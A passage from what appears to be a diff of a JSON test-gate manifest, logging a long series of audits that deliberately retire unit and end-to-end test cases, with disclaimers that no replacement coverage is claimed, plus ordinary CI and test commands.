pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Require both existing named browser placement scenarios to pass three times with one attempt, zero skips, zero failures, and no report errors.", - "commands": [ - "gh workflow run packaged-browser-e2e.yml", - "pnpm exec playwright test tests/e2e/packaged-mixed-version-browser-placement.spec.ts --config tests/playwright.config.ts --project=electron-headless --workers=1 --repeat-each=3 --retries=0", - "gh run view 34069063016 --log", - "ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=2 --reporter=dot" - ], - "testFiles": ["tests/e2e/packaged-mixed-version-browser-placement.spec.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/packaged-mixed-version-browser-placement.spec.ts", - "assertions": [ - "old client and old host lack client-host and browser-tunnel capabilities", - "browser contents remain owned by the server and the expected snapshot marker is readable" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-09-07", - "runner": "ci", - "platform": "linux", - "result": "passed", - "command": "gh run view 34069063016 --log", - "durationSeconds": 120, - "summary": "Both unmodified compatibility cases passed three times at 5a99f935 with published1.4.188 and main f7d52160162; retries0. Final workflow34069429156 also passed6/6; its downloaded JSON passed the same participation verifier." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Previous oracle (preserved verbatim): Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous oracle (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous oracle (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous oracle (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous oracle (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous oracle (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous oracle (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous oracle (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous oracle (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file 